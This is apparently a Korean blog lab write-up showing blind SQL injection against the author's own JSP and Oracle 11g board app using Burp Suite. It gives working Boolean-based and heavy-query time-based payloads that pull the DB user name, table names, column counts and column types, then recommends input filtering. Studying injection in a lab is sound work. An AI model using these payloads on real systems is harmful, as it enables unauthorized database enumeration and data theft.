Boolean-Based&Time-Based

Jang Seok Woo·2020년 9월 23일
0

보안

목록 보기
11/19

Boolean-Based&Time-Based SQL Injection

개발환경 : Oracle 11g, BurpSuite, JSP

Case 2) 현재 접속한 DB유저명 확인을 위해 Boolean-based Injection Query 입력

해당 유저의 첫 글자를 60 이하의 아스키코드인지 확인 후 100이하인지 확인,
이후 중간 값인 80이하인지 체크하며 중간값으로 접근해 최종 74 아스키코드 ‘J’ 유저명 첫글자 확인

Step1) Burp Suite를 시작한다.

Step2) 웹 브라우저 프록시를 켜고(팔콘프록시 사용) 검색어 입력

쿼리 구문 > 쿼리 구문 > test%' and (select case when ascii(substr(user,1,1))<60 then '1' else '2' end from dual)='1') --

Step3) Burp suite에서 패킷 캡쳐 후 입력값 확인

Step4) HTTP History 탭으로 이동 후 입력값을 보내는 패킷 찾기

Step5) 해당 패킷 우클릭 후 Send to Repeater 클릭

Step6) Repeater탭으로 이동해 입력값을 확인하고 Send를 눌러 응답 확인

  • Repeater를 이용해 입력값 변경을 반복하여, 빠른 결과값을 도출하기 위함

Step7) 60을 100으로 바꾸어 DB 유저명 첫 글자의 아스키코드 값이 100 이하인지 확인
test글자가 포함된 글이 검색된 것으로 보아 True, 즉 아스키코드 값이 100이하임을 확인함

Step8) 중간값으로 접근해 80 입력, 80이하임을 확인

Step9) 70입력 후 결과값 확인

Step9) 75입력 후 결과값 확인

Step10) 73입력 후 결과값 확인

Step11) 74입력 후 결과값 확인
조건이 75이하 에서 true, 74 이하에서 false이므로 값이 74임을 추측

Step12) 74입력값이 확실한지 =(%3D)를 입력해 확인
Test가 검색된 것으로 보아 74 아스키코드 값인 ‘J’가 DB유저명의 첫글자 임을 확인

Step13) Step2~12를 반복해 DB 유저명의 두번째, 세번째 글자 아스키코드 찾기

두번째 글자 찾기

쿼리 구문 > test%' and (select case when ascii(substr(user,2,2))<60 then '1' else '2' end from dual)='1') –

같은 방법으로 60과 100으로 시작해 절반값을 넣어 최종적으로 83 아스키코드 값(‘S’) 추출

세번째 글자 찾기

쿼리 구문 > test%' and (select case when ascii(substr(user,3,3))<60 then '1' else '2' end from dual)='1') –

같은 방법으로 60과 100으로 시작해 절반값을 넣어 최종적으로 87 아스키코드 값(‘W’) 추출

Step13) Step2~12를 반복해 DB 유저명의 두번째, 세번째 글자 아스키코드 찾기

쿼리 구문 > test%' and (select case when ascii(substr(user,4,4))<127 then '1' else '2' end from dual)='1') --

아스키코드의 최대 숫자인 127을 입력해도 값이 나오지 않을 경우 해당 글자가 없는 것

DB 유저명 ‘JSW’을 추출함

Step14) Step2~12를 반복해 테이블 갯수 찾기

해당 DB유저의 테이블 갯수 확인
입력 쿼리 > test%' and (select case when count(*)>100 then '1' else '2' end from tab)='1') --

테이블 개수가 5개 보다 적은지 확인

Send 클릭 후 결과 확인(True이기 때문에 검색 결과가 나옴)

Send 클릭 후 결과 확인(True이기 때문에 검색 결과가 나옴)

Step15) Step2~12를 반복해 테이블명 찾기
쿼리 구문 > test%' and (select case when ascii(substr(tname,1,1))<100 then '1' else '2' end from tab where rownum=1)='1') --

우측에 검색결과가 정상적으로 나옴으로 보아 테이블명의 첫글자가 아스키코드 66 ‘B’임을 확인
동일한 방법으로 두번째 글자 아스키코드 66 ‘B’와 세번째 글자 아스키코드 83 ’S’ 확인
tname %2C (X번째 글자) %2C (X번째 글자) 입력
예) 두번째 = tname %2C 2 %2C 2

테이블명 ‘BBS’ 추출

위와 동일한 방법으로 두번째 테이블명 추출
쿼리 구문 > test%' and (select case when ascii(substr(tname,1,1))<100 then '1' else '2' end from (select rownum as rownumber, b.* from tab b) a where a.rownumber=2)='1') --

Rownumber=2를 넣어 두번째 테이블명에 접근

동일한 방법으로 아스키코드값 추출

Step16) Step2~12를 반복해 테이블 컬럼 개수 찾기

테이블 컬럼의 개수를 찾고 타입을 찾기 위해 다음과 같은 쿼리를 입력
쿼리 구문> test%' and (select case when count(*)>10 then '1' else '2' end from col where tname='BBS')='1') --

컬럼의 개수가 10개 이하임을 확인 후 절반 값을 입력

컬럼 개수가 5개 초과임을 확인 후 10과 5의 절반인 7을 입력

7이하임을 확인, 6을 입력

컬럼의 개수 6개임을 찾아냄

Step17) Step2~12를 반복해 테이블 컬럼 타입 찾기

쿼리 구문> test%' and(select case when ascii(substr(data_type,1,1))<100 then '1' else '2' end from(select rownum as rownumber, b.* from all_tab_columns b where table_name='BBS') a where a.rownumber=2)='1') --

두번째 컬럼(BBS_TITLE)의 타입 VARCHAR2 의 첫 글자 V 추출 확인

※ 검색어 입력을 받을 시 사용자 입력값에 제한이 없는 관계로 다양한 공격에 노출되어 있음. 위와 같이 Boolean-Based Injection을 이용하여 한글자씩 추출해 DB 유저명 뿐만 아니라 테이블명 나아가 테이블 데이터 및 컬럼명 추출 가능. 검색어 입력 값을 받을 시 특수문자 필터와 37page와 같은 특정 입력 값 필터를 적용할 것을 권고.

Case2) Time-based SQL Injection

Step1) 게시판 검색창을 이용한 Time-based SQL Injection이 가능하고, 뿐만 아니라 회원정보 수정 페이지에서도 Time-based SQL Injection이 가능함

쿼리 구문 > test%') where (select case when ascii(substr(user,1,1))<100 then (select count(*) from all_users A, all_users B, all_users C, all_users D, all_users E, all_users F) else 2 end from dual)!=2 –

위 쿼리의 조건인, DB유저명의 첫 글자 아스키코드 값이 100보다 작으면, true라면 뒤의 Heavy Query를 수행하느라 로딩이 길어짐. 반면에 false라면 바로 결과 값이 나오게 되어 로딩하는 시간으로 결과값을 알수 있게 됨

  • 오라클에서는 sleep으로 인한 지연이 구조적으로 어려울 때가 있기에 헤비쿼리를 대신 사용함

True일 경우 로딩 시간이 걸려 결과 값인 test 검색 결과가 나오게 됨

아래와 같이 False인 경우 시간이 걸리지 않고 바로 결과가 나오게 됨

Step2) 회원 정보 수정 페이지에 쿼리 입력 및 지연 확인
쿼리 구문 > a@a' where userId='jsw' and (select case when ascii(substr(user,1,1))>10 then (select count(*) from all_users A, all_users B, all_users C, all_users D, all_users E, all_users F) else 2 end from dual)!=2 --

Step3) 테이블 컬럼 타입 추출
쿼리를 입력해 Time-Based SQL Injection으로 테이블 컬럼 데이터 타입 추출
쿼리 구문 > a@a' where userId='jsw' and (select case when ascii(substr(data_type,1,1))>100 then (select count() from all_users A, all_users B, all_users C, all_users D, all_users E, all_users F) else 2 end from(select rownum as rownumber, b. from all_tab_columns b where table_name='BBS') a where a.rownumber=2)='2' –
헤비 쿼리를 입력해 True면 헤비쿼리를 읽어내는 시간만큼 지연이 생기고, False면 바로 출력이 된다.

※ 회원정보 수정 페이지에서 별 다른 입력값의 제한이 없는 관계로Time-Based Injection을 이용해 각 테이블명과, 컬럼타입, 유저명 Boolean-Based Injection과 마찬가지로 한 글자씩 추출이 가능 검색어 입력값을 받을 시 특수문자 필터와 37page와 같은 입력값 필터를 적용할 것을 권고.

profile
https://github.com/jsw4215

0개의 댓글